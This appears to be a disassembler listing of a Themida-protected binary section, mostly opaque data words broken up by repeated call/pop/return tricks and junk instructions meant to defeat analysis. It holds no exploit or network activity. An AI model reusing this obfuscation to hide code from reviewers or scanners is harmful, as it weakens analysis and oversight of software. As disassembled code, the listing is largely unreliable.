		dd 23B82AA7h, 7D9BC2F8h, 57329CBFh, 673AC61Ah, 23AFC63Bh
		dd 75FDC28Fh, 0B632E504h, 25B4D51Ah, 515C477Ch,	9630C4EAh
		dd 25B4F1ADh, 23D112C1h, 23B82A4Ah, 7E9BC28Fh, 4F329F04h
		dd 673AC6C7h, 23A3C6D5h, 76FEC2F8h, 8D128BFh, 9692E7CAh
		dd 25B4D1CEh, 0B928F036h, 23BC2BC4h, 0C014C2E3h, 4F9BDC52h
		dd 77B4105h, 0A6320CF7h, 25B4F6F7h, 23B94E10h, 0F530C28Fh
		dd 23BE44C8h, 0A2DDC2E3h, 0A821F128h, 2C946B7Dh, 75BBA87Ah
		dd 23BBC1D6h, 0E0E5E21Fh, 7CF4BD1h, 7FF43C3h, 23BBD4E7h
		dd 0E0ED84F1h, 0A8DCF637h, 2C8823E1h, 9D7D4338h, 60CA6038h
		dd 0CBEEC2E5h, 23BBC2C4h, 7E789FC3h, 279FAE78h,	279F8679h
		dd 23BBC265h, 3378977Bh, 9DD2961Ah, 1B04A467h, 23B52A49h
		dd 0B388C2E3h, 5A6A5C35h, 0A1838180h, 0CE19E944h, 0FE277B5h
		dd 0A8E2C410h, 74BBA894h, 23BBC12Fh, 0E0E4E2E3h, 7C74BAEh
		dd 7FF43FCh, 23BBD678h,	0E0EC853Eh, 23BE2A12h, 1B9FC28Fh
		dd 7A3816AAh, 23D1D968h, 23B82AA6h, 7C9BC2F8h, 5F329DBFh
		dd 673AC61Ah, 23A0C63Bh, 74FCC28Fh, 0E6400804h,	0D2A45344h
		dd 9AA0496Dh, 60346718h, 23D11A4Fh, 23B82A69h, 7C9BC21Fh
		dd 5F329D4Ch, 673AC6E3h, 23A6C6C7h, 74FCC2F1h, 0BE68403Bh
		dd 59EED343h, 0CA2DE628h, 23BBC21Ah, 54E8195Ch,	8E264B16h
		dd 49BDCDFAh, 205392F1h, 3BBC2F8h, 0AAE30124h, 0A2BFE67Ah
		dd 35BFE65Bh, 63BBC28Fh, 0C74E0197h, 0A402A452h, 1206F155h
		dd 45BDCDE9h, 0A67D09F7h, 25B4E6C3h, 73BBA858h,	23BBC167h
		dd 0E0E3E2C7h, 7FF4BBBh, 7FF43F5h, 23BBD9FCh, 0E0EB827Ch
		dd 0A99F08CEh, 67B54B96h, 13E24706h, 2BD3C4C8h,	0A92D340Eh
		dd 78F4304h, 293F259h, 0CBE8C216h, 23BBC23Dh, 7878993Fh
		dd 279F9E06h, 279F8646h, 23BBC2FBh, 0B57891B2h,	49DA7FBEh
		dd 401284C2h, 820E3D0Eh, 49BDCD33h, 2053938Fh, 3BBC2C7h
		dd 0AAE201BAh, 0A2BFE6BDh, 39BFE6BCh, 62BBC27Ch, 0F6F0016Fh
		dd 2D09E152h, 2236EBF0h, 0AEBDCDF6h, 31C92566h,	253ACDF7h
		dd 2ABBC2F8h, 2C90FFE9h, 496B3D38h, 2053931Fh, 3BBC28Fh
		dd 0AAE2019Eh, 0A2BFE6AFh, 3FBFE6B5h, 62BBC2F8h, 0B608012Dh
		dd 48A22AC2h, 0AAD2F5C5h, 2CA62B3Ah, 23A82BC1h,	793AC2E3h
		dd 5AE7B027h, 0DC83B425h, 2E86EE74h, 91954DCh, 0E23E4BA3h
		dd 0A8BDCDA9h, 2CA8FF7Ah, 0F33082E5h, 0BE32C27Ah, 25B4DEFDh
		dd 0F1E77F5h, 2330C431h, 10825794h, 0AE32C480h,	25B4DF4Eh
		dd 3256476Ah, 23D1C4FEh, 23B82AADh, 7E9BC27Ch, 4F329FFDh
		dd 673AC63Bh, 23ADC6ABh, 76FEC2C7h, 73AC4D20h, 0B5F21C70h
		dd 6529BBFh, 0A8BBC27Dh, 2C89578Bh, 0C33E4F19h,	49BDD035h
		dd 205395C7h, 3BBC2E3h,	0AAE401AEh, 0A2BFE684h,	34BFE638h
		dd 64BBC23Eh, 0ED120148h, 0CA0DD17Dh, 0A6B4A257h, 23BBC2E0h
		dd 72714997h, 42E499A8h, 23B32A2Ch, 72E3C23Eh, 0A7A55DBEh
		dd 0B3E1928Ah, 0CBE8C2ADh, 23BBC2E0h, 787899D1h, 279F9E71h
		dd 279F86FDh, 23BBC226h, 0E078915Ch, 1B8ED858h,	2202774Eh
		dd 0B644C4ECh, 25B4E178h, 0CBEEC292h, 23BBC27Fh, 7E789F1Eh
		dd 279FAE96h, 279F860Eh, 23BBC2D0h, 107897A6h, 0AEF8A753h
		dd 31012465h, 2636CB7Ah, 0B0BDCD3Eh, 0B043494Fh, 33124F06h
		dd 0A8DBC4C8h, 2C8B1B5Eh, 0ED04CDF7h, 73DB5299h, 23BD2B2Eh
		dd 2D72C23Eh, 0C207379Bh, 71EBF380h, 7BE1F3C8h,	73E89AB9h
		dd 798ACDA3h, 73DA9DA0h, 23BBD094h, 7FF57A3Eh, 0D0D2916Ah
		dd 0C43FB210h, 927135D8h, 43887F1Bh, 9203A391h,	42FB1BAEh
		dd 28535225h, 6FBBC23Eh, 191C4AA8h, 0F9E32466h,	0DCE507A1h
		dd 2C895F76h, 0D00CCDF7h, 17724771h, 9E98C473h,	25B4E1B3h
		dd 74647D9h, 0A8E8C480h, 2C9FAB4Ah, 0CD5DAAE5h,	37532E9Ch
		dd 99BBC2F8h, 23AAD293h, 1D13D113h, 9FEFC0D5h, 0D8CBBE59h
		dd 458DEEACh, 791D6C59h, 0BA9FF670h, 49FD2892h,	2053927Ch
		dd 3BBC23Eh, 0AAE30147h, 0A2BFE6CBh, 37BFE683h,	63BBC2E3h
		dd 0A38401A1h, 0B6329321h, 25B4C921h, 0F1A77C1h, 0AE32C410h
		dd 25B4DF92h, 515C474Ah, 23D1C4F1h, 23B82AA2h, 789BC2F8h
		dd 7F3299BFh, 673AC61Ah, 23A3C63Bh, 70F8C28Fh, 0B8CD3C04h
		dd 9EB2B8AFh, 25B4CBF4h, 0F3443A73h, 134647F5h,	23D1C431h
		dd 23B82A48h, 7C9BC28Fh, 5F329D04h, 673AC6C7h, 23A0C6D5h
		dd 74FCC2F8h, 17E9C1BFh, 8E38C1A6h, 0F304CD89h,	7464749h
		dd 49FCC4C8h, 205393E3h, 3BBC2F1h, 0AAE201A1h, 0A2BFE630h
		dd 38BFE67Ah, 62BBC21Fh, 4BA801DEh, 4AF56D00h, 2C47F903h
		dd 99D33A46h, 0A27F1B9Dh, 5391E648h, 23D1A795h,	23B82A49h
		dd 7D9BC28Fh, 57329C04h, 673AC6C7h, 23A7C6D5h, 75FDC2F8h
		dd 6FDC80BFh, 701C1558h, 9644CE1Ch, 25B4EE2Eh, 0CBE8C2ADh
		dd 23BBC2E0h, 787899D1h, 279F9E71h, 279F86FDh, 23BBC225h
		dd 0B78915Ch, 9F1C588Fh, 0AA15CBFCh, 2C9F837Eh,	0C43E4FF7h
		dd 49BDD08Ah, 2053907Ch, 3BBC23Eh, 0AAE10145h, 0A2BFE6DBh
		dd 36BFE683h, 61BBC2E3h, 7E4E01A3h, 7269439Eh, 0A6B3D33h
		dd 2CA3DB8Bh, 223E4B19h, 49BDCD9Ch, 205390C7h, 3BBC2E3h
		dd 0AAE101ABh, 0A2BFE6ACh, 35BFE638h, 61BBC23Eh, 5F84014Dh
		dd 0A236C304h, 0E5BDCDDFh, 2C9F3F66h, 23D191F7h, 23B82AAFh
		dd 7C9BC27Ch, 5F329DFDh, 673AC63Bh, 23A2C6ABh, 74FCC2C7h
		dd 0BE7BE520h, 72078A6Fh, 0F430A4ABh, 27539D26h, 0B3BBC23Eh
		dd 0A822FB40h, 0A8DD927Dh, 7FF4908h, 6D527BE7h,	23309238h
		dd 424C4998h, 279F86F5h, 7705A46Dh, 49E39CA4h, 2053908Fh
		dd 3BBC2C7h, 0AAE101B9h, 0A2BFE6A5h, 39BFE6BCh,	61BBC27Ch
		dd 0F29016Ch, 9980770h,	862EC93Ch, 0DCBDCDEDh, 2C976356h
		dd 74BBA8F7h, 23BBC110h, 0E0E4E27Ch, 7C74B61h, 7FF431Bh
		dd 23BBD48Bh, 0E0EC85C7h, 2C8B4357h, 23BBC47Dh,	0BA2E4BF8h
		dd 92BDCD51h, 0C43E4F88h, 49BDD06Dh, 2053938Fh,	3BBC2C7h
		dd 0AAE201BAh, 0A2BFE6BDh, 3FBFE6BCh, 62BBC27Ch, 2137016Fh
		dd 0C2F55569h, 0A5C27E8h, 2C9C775Ah, 0D830A4E5h, 23D1120Eh
		dd 23B82AADh, 7E9BC27Ch, 4F329FFDh, 673AC63Bh, 23A6C6ABh
		dd 76FEC2C7h, 0EC380720h, 0DA1D234Eh, 0AAE45A98h, 2C8A9FC1h
		dd 0FA2E4938h, 0AABDCD15h
		dd 2C91C70Ah, 0F93AA4C1h, 0A67D11A1h, 25B4E60Ch, 44C2AAAFh
		dd 45DB2E7Dh, 71891884h, 0D17E7A79h, 173AA3D7h,	268EBDE3h
		dd 96443E9Fh, 25B4EE50h, 0CBEBC292h, 23BBC27Fh,	7B789A1Eh
		dd 279F8696h, 279F860Eh, 23BBC2DDh, 7C7892A3h, 0E26EE5D1h
		dd 0A6368297h, 25A9B09Bh, 334A57B7h, 0F344C410h, 0CBEAC2E5h
		dd 23BBC2C4h, 7A789BC3h, 279F8E78h, 279F8679h, 23BBC26Bh
		dd 0FB78937Fh, 0A8D565F3h, 2CBB433Ah, 1A0E49C1h, 0AABDCDE8h
		dd 2CAF9774h, 76BBA8FEh, 23BBC194h, 0E0E6E23Eh,	7D74B42h
		dd 7FF438Bh, 23BBDFC3h,	0E0EE87E3h, 0C1E1B79Ch,	1DA18495h
		dd 0B6907EB8h, 25B4E81Fh, 74647D9h, 49F8C480h, 205390C7h
		dd 3BBC2E3h, 0AAE101ABh, 0A2BFE6ACh, 36BFE638h,	61BBC23Eh
		dd 0FE33014Dh, 0D8A8350Eh, 61D3A628h, 733E45D8h, 73E992A3h
		dd 798ACDAAh, 798ACD24h, 438ACD66h, 997B7879h, 12B490DFh
		dd 79DA9A9Dh, 78F43BBh,	1AAC899Bh, 0CBE8C292h, 23BBC27Fh
		dd 7878991Eh, 279F9E96h, 279F860Eh, 23BBC2DCh, 137891A0h
		dd 0D9DDBBB6h, 43263510h, 23B94D73h, 42DBC23Eh,	820E3D7Eh
		dd 49BDCDA3h, 205395C7h, 3BBC2E3h, 0AAE401AEh, 0A2BFE684h
		dd 34BFE638h, 64BBC23Eh, 17CB0148h, 45EC4DE9h, 438E3546h
		dd 16064BBAh, 0AEBDCDDBh, 31C9257Dh, 0D930A47Ah, 0A9B412C1h
		dd 23BBC21Ah, 0B27943E9h, 0C23E4BB5h, 49BDCDD3h, 205394F1h
		dd 3BBC2F8h, 0AAE50122h, 0A2BFE64Ah, 3ABFE65Bh,	65BBC28Fh
		dd 31230191h, 0CE848BC0h, 23BE4EFEh, 0A2DDC2F8h, 74393A8Eh
		dd 0EC30A45Eh, 2AF27794h, 7ADAC480h, 996D474Ah,	3352C4F1h
		dd 95BBC2F1h, 5DDEDD9Dh, 7233B329h, 0BA6AFCCFh,	73BF40D3h
		dd 9C9FC606h, 35D8FBE8h, 32571Ch, 23D1C4FEh, 23B82AAFh
		dd 7C9BC27Ch, 5F329DFDh, 673AC63Bh, 23A6C6ABh, 74FCC2C7h
		dd 704D5A20h, 5FF78711h, 0A8B8EEFEh, 0DA30A4A4h, 997147B3h
		dd 23D1C40Dh, 23B82AD8h, 7C9BC2C7h, 5F329D20h, 673AC6D5h
		dd 23A0C6DCh, 74FCC27Ch, 0C4C961FDh, 0EDF0FB72h, 463E4BF3h
		dd 0ABDCDE1h, 2CAD6F76h, 74EB52F7h, 23BD45F7h, 0A9B4C27Ch
		dd 23BBC23Eh, 0A2DD5245h, 2C778E40h, 23BBC146h,	0D804CDE3h
		dd 0A3B49262h, 23BBC2FEh, 12B4902Ch, 73E29A64h,	23BBD1F7h
		dd 0E121AF8Fh, 362CA17Eh, 1CBA3DE4h, 5CAEDDE4h,	693B0D86h
		dd 9CB45122h, 0BE2E3DF7h, 49BDCD2Dh, 2053928Fh,	3BBC2C7h
		dd 0AAE301BBh, 0A2BFE6B5h, 3FBFE6BCh, 63BBC27Ch, 0A57B016Eh
		dd 7E2E58C1h, 0A93ABFA6h, 1C5D4232h, 17F2476Ah,	0AE32C4FEh
		dd 25B4C3B1h, 234647BBh, 23B4C431h, 0A632C21Fh,	25B4D13Ah
		dd 17F25738h, 23D1C4ECh, 23B82AA0h, 7A9BC2F8h, 6F329BBFh
		dd 673AC61Ah, 23ACC63Bh, 72FAC28Fh, 0D508FB04h,	6A36C137h
		dd 0AABDCDC2h, 2C89037Dh, 8A2E4B7Ah, 0A8BDCD1Ah, 2C92379Ah
		dd 0C264F89h, 0AABDD009h, 9E36C3A0h, 25B4EF24h,	0EDB27775h
		dd 1002C46Eh, 0D0BBC23Eh, 9B8829BBh, 23BBC28Fh,	20CF02CCh
		dd 0A8BBDA21h, 70B7E6B5h, 23BBC210h, 0E03A997Ch, 23BBC229h
		dd 339F9E96h, 379F8606h, 838C7A9Ch, 0C344C240h,	279F867Ah
		dd 23D12207h, 23B82A29h, 7E9BC23Eh, 4F329FDCh, 673AC6ABh
		dd 23A6C6E3h, 76FEC2E3h, 91D1B932h, 9B5450D7h, 2C2DB03Ch
		dd 23BBC4BCh, 6974431Fh, 0CAE989A5h, 23BBC2D6h,	0D23F880Dh
		dd 3F5EF80Ah, 0EE3D434Ah, 0D800A57Bh, 23B12BCAh, 1915C21Fh
		dd 41AD0255h, 9F943EC5h, 76BBA882h, 23BBC119h, 0E0E6E2F8h
		dd 7D74B21h, 7FF433Ah, 23BBD91Bh, 0E0EE878Fh, 2F3581E1h
		dd 776F6237h, 357E4F78h, 9E36C4F7h, 25A978B6h, 0ED634FB3h
		dd 1603C40Dh, 1023E424h, 2CB0F342h, 0E274E9E5h,	0A123D1A2h
		dd 0F823B82Ah, 0BF7B9BC2h, 1A67329Ah, 3B673AC6h, 8F23ADC6h
		dd 0E983FBC2h, 8BA4F305h, 7D9D89D9h, 0E9060F2Dh, 7Eh, 0C830Fh
		dd 850F0000h, 6, 8D0Fh,	6A610000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0DFCFC357h
		dd 870FE9D5h, 1, 6AC3F5h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 8D53CC3h, 880F1A02h
		dd 1Eh,	14E960h, 0F5250000h, 0D63C9573h, 2DC1A3FCh, 7AE3388Ah
		dd 0C6F00F94h, 0C380D816h, 0C08B61CBh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 8BC35646h, 41B53B88h, 7E9BEh
		dd 0B6300000h, 0B5B4249Ch, 91BD8384h, 60F18h, 0BD830975h
		dd 60F26ADh, 50197400h,	0B8C08B53h, 4B9h, 29418589h, 9D8D060Fh
		dd 611B01Fh, 585BD3FFh,	26ADBD83h, 7400060Fh, 0B8535017h
		dd 4B9h, 29418589h, 9D8D060Fh, 611ACC0h, 585BD3FFh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 5DC35646h, 0C91CCAD8h
		dd 95BB2973h, 0FE960F5h, 0FE000000h, 7AB4E3F2h,	0A312185Fh
		dd 2EBAFC7Fh, 0F6005C2h, 0CD80D8BFh, 0E9616101h, 12h, 5560ACDCh
		dd 0FB4B34C3h, 8B542FE4h, 3A1E1D43h, 870FB3AAh,	0Ch, 68E0Fh
		dd 8F0F0000h, 0
		db 8Bh,	0C0h
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_587F3D
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_587F3D	proc near		; CODE XREF: Themida_:00587F35p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_587F3D	endp

; ---------------------------------------------------------------------------
		db 0E9h, 0F5h, 8Fh
		dd 50AF8978h, 0B8C0F38h, 0E9000000h, 6,	7C9921E5h, 8B40CA5Dh
		dd 79BD8BC1h, 0EB060F22h, 4, 7BCE8100h,	603C1C73h, 0B5DE8160h
		dd 666AADA5h, 0E849E981h, 0EB816661h, 6A61080Bh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 0C34C355h, 8D080B9Ah, 0F146185h, 0B9958906h,	90060F2Eh
		dd 5050F88Bh, 905FF98Bh, 10E9h,	2162AF00h, 645B2B8h, 0C0B6FC9Bh
		dd 4A3D0352h, 6A006AB1h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 0AB51C351h,	666057FBh
		dd 6160D88Bh, 0F88B5F61h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 1BB639C3h, 0B5B5C75Eh
		dd 9D89571Bh, 60F1DF1h,	0D26E858Dh, 6A0612h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 37BE6C3h
		dd 7A1BD89h, 0C083060Fh, 53006A05h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 223DEBECh, 8BFC6070h
		dd 0F12D58Dh, 66906106h, 0BE50F78Bh, 586C11DCh,	46DE8190h
		dd 6A0BAD07h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 32A35720h, 0D118529h, 6AF5060Fh
		dd 95F78100h, 0FF7A5565h, 0F348D95h, 0C8D68106h, 8D413EEFh
		dd 12985E9Dh, 0BDB58B06h, 0FF060F07h, 56006AD3h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
		dd 0D53FC185h, 26C1FAC9h, 2E82BF6Bh, 85FF0750h,	60F2459h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 55C35343h
		dd 202857BFh, 0DA68D096h, 96E2BF66h, 7CCE9h, 0E800h, 815D0000h
		dd 12D278EDh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 1A59AE92h, 0F3945E7h, 0E8Ah, 9E900h
		dd 0A730000h, 37621D7Fh, 81AB0701h, 0F00FDBDh, 7D006h
		dd 0F3860F00h, 8B000000h, 0F15E5B5h, 0B59D8B06h, 0BF060F28h
		dd 3B5C014h, 100E381h, 9D890000h, 60F219Dh, 850FDB0Bh
		dd 92h,	6850Fh,	8D290000h, 60F34BDh, 0D0A7BD83h, 0F000612h
		dd 4B84h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 23214B6Ah, 0F1E39B5h, 7CE906h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 0BD8BC4C3h, 60F13EDh, 0D0A785C7h, 10612h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 0F20BD4C3h, 2CE92Eh,	85C70000h, 612D0A7h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_58825B
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58825B	proc near		; CODE XREF: Themida_:00588253p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_58825B	endp

; ---------------------------------------------------------------------------
		aad	0EEh
		icebp
		mov	ebp, 8DEF18B2h
		popf
		mov	ch, 28h
		clts
		cmc
		and	dword ptr [ebx], 0FFFFFEFFh
		mov	si, bx
		mov	bx, ds
		mov	esi, [ebp+60F33DDh]
		test	bl, 4
		jz	loc_5882EE
		push	0
		push	edx
		call	sub_58829F
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58829F	proc near		; CODE XREF: Themida_:00588297p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_58829F	endp

; ---------------------------------------------------------------------------
		db 2Fh
		dd 6B8341E0h, 2FEDAA74h, 0EDD68166h, 4995FFEFh,	6A060F34h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 8179C352h, 0AFBA53C7h, 39BE5013h,	896BBF00h
; ---------------------------------------------------------------------------
		add	al, 24h


loc_5882EE:				; CODE XREF: Themida_:0058828Ej
		jmp	loc_588792
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5882FE
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5882FE	proc near		; CODE XREF: Themida_:005882F6p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_5882FE	endp

; ---------------------------------------------------------------------------
		dw 0CAB0h
		dd 0A4AB5CE4h, 0D0E78104h, 0F61B29Fh, 18Bh, 0B0FC00h, 6A70E6h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 0E4EFC4C3h, 52006A71h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 3D5409D1h, 4B77FDA5h
		dd 51BD895Ch, 0F060F05h, 8F0FD8B6h, 6, 1851BD8Bh, 8D89060Fh
		dd 60F3239h, 6BAh, 19B52B00h, 8B060F1Eh, 19BD89C3h, 0C1060F1Dh
		dd 7E904E8h, 0C8000000h, 637D83D3h, 0F7669CFBh,	55006AE2h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 0D82B5E75h, 8CF1BE66h, 6679BE50h, 1C890ED2h,	55006A24h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 0C8321B8Ah, 11E973h,	0F4240000h, 18B9092Ch, 5EF0771Ch
		dd 94D1930Eh, 0FFBEA73Ch, 0F00FDB5h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 5C0BAE34h
		dd 9F078C0h, 5195FF45h,	6A060F34h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 0DFD9C353h
		dd 5DB1E9FFh, 0A43AD8EDh, 0E486F681h, 0B0447Fh,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0A4C35242h, 6F11992Ch
		dd 71BD8B10h, 0E6060F21h, 50006A70h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 0B866D76Fh
		dd 3C71E481h, 0D7830F61h, 6A000002h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 647BC357h
		dd 0BD8BE0FDh, 60F1109h, 8B0Fh,	0B60F0000h, 0FEF81D8h
		dd 0E929989Ch, 12h, 4BF87FBFh, 2495CB1Fh, 95DA318Fh, 36B301Dh
		dd 6BA6D24h, 6A000000h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 2B38C355h, 8F7EDA2h
		dd 8B486254h, 0F1DC9B5h, 6AC38B06h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0A7F9C350h
		dd 0F5D61715h, 72B62E66h, 2A918D09h, 0E8C1060Fh, 0BBE9BF04h
		dd 0F7660B63h, 57006AE2h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 9945070Bh, 0E24EC6D8h
		dd 11E9h, 1BB48200h, 635B32B4h,	0B6D54A79h, 3E6E562Fh
		dd 0D82BC230h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 15h,	5AC35646h, 0B58BFCA6h, 60F2EF1h, 6870Fh, 0B58B0000h
		dd 60F2729h, 53006A58h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1504h, 0C3534300h, 0D82BA06Bh, 194880Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 525C03C3h, 1421B589h, 895F060Fh, 0F0129B5h, 7B906h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 8EB0D8C3h, 8D0FF583h, 0
; ---------------------------------------------------------------------------
		and	edi, 0EBB197Ah
		add	ecx, 0
		cld
		cmp	ebx, ecx
		jbe	loc_588792
		pusha
		or	ebx, 356B6852h
		push	edx
		mov	edx, edi
		pop	edi
		popa
		mov	cx, ds
		push	0
		push	ebp
		call	sub_588680
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_588680	proc near		; CODE XREF: Themida_:00588678p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_588680	endp

; ---------------------------------------------------------------------------
		cmp	eax, 8D89BE55h
		pop	ebp
		db	26h
		clts
		test	cl, 4
		jz	loc_58876E
		push	0
		push	eax
		call	sub_5886AD
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5886AD	proc near		; CODE XREF: Themida_:005886A5p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_5886AD	endp

; ---------------------------------------------------------------------------
		db 70h,	81h, 0E6h
; ---------------------------------------------------------------------------
		xchg	edi, [ebx-307EF74Fh]
		das
		lodsb
		adc	al, 6Bh
		call	dword ptr [ebp+60F3449h]
		and	di, 2020h
		pop	ebx
		push	0
		push	eax
		call	sub_5886E1
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5886E1	proc near		; CODE XREF: Themida_:005886D9p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5886E1	endp

; ---------------------------------------------------------------------------
		db 7Dh,	6Bh, 9Eh
		dd 9E302A4Eh, 32BB765h,	0F22ADB5h, 3DC32B06h, 834h, 60860Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 0E9A5C1C3h, 62h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 48C35343h, 96A85B41h, 0FAD9DC88h
		dd 0DE871h, 3EEF0000h, 91D055C7h, 0CE905D72h, 89D2F0BBh
		dd 0F0F69BDh
; ---------------------------------------------------------------------------
		push	es
		pop	esi


loc_58876E:				; CODE XREF: Themida_:0058869Cj
		mov	eax, eax
		push	0
		push	ebp
		call	sub_58877B
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58877B	proc near		; CODE XREF: Themida_:00588773p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_58877B	endp

; ---------------------------------------------------------------------------
		db 7Eh
; ---------------------------------------------------------------------------
		leave
		fld	qword ptr [esi]
		movzx	edi, cx


loc_588792:				; CODE XREF: Themida_:loc_5882EEj
					; Themida_:00588660j
		mov	eax, ebx
		mov	ebx, eax
		mov	edi, [ebp+60F01B9h]
		mov	dword ptr [ebp+60F12B1h], 309DF71Dh
		push	0
		push	ebp
		call	sub_5887B1
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5887B1	proc near		; CODE XREF: Themida_:005887A9p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_5887B1	endp

; ---------------------------------------------------------------------------
		db 0E9h, 25h, 0BFh
		dd 0F70890E7h, 0E9C168BDh, 12h,	11C08B63h, 5B422A50h, 0EC1EF753h
		dd 31C4B9ADh, 0C08B1661h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 1DC35040h, 0AACFC89Eh, 0FDCEF76h, 84h
		dd 0FDBD8100h, 0D0060F00h, 0F000007h, 5085h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 311C7CA2h, 0F1CA1BDh, 0FD85FF06h, 6A060F00h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 8BF9C355h, 0F1109BDh, 0D0BE6606h, 0FDB5FF77h, 6A060F00h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 0E376C353h, 6800F58h, 8B000000h, 0F1E69B5h
		dd 0A19D8906h, 0FF060F17h, 0F345195h, 89526006h, 0F322585h
		dd 0CE95B06h, 0FB000000h, 8D7A92F0h, 25B331Ah, 61F0DDFBh
		dd 5678B890h, 10E91234h, 31000000h, 0DCE44ACEh,	0E3D96755h
		dd 0F59743A5h, 8D4B4F6Dh, 12D9FB9Dh, 0F853E906h, 9529FFFFh
		dd 60F1099h, 14E9h, 8A2B0000h, 6CC5DF6h, 0E9C0F3FCh, 6B9F146Ch
		dd 0A834A2F0h, 6AC18B49h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 79C0C355h, 13E8h, 0AE6E0600h
		dd 7BC45B1Dh, 3A1CED59h, 0A0096590h, 9A9D24F3h,	6890Fh
		dd 810F0000h, 0
; ---------------------------------------------------------------------------
		pop	edi
		jmp	short loc_588953
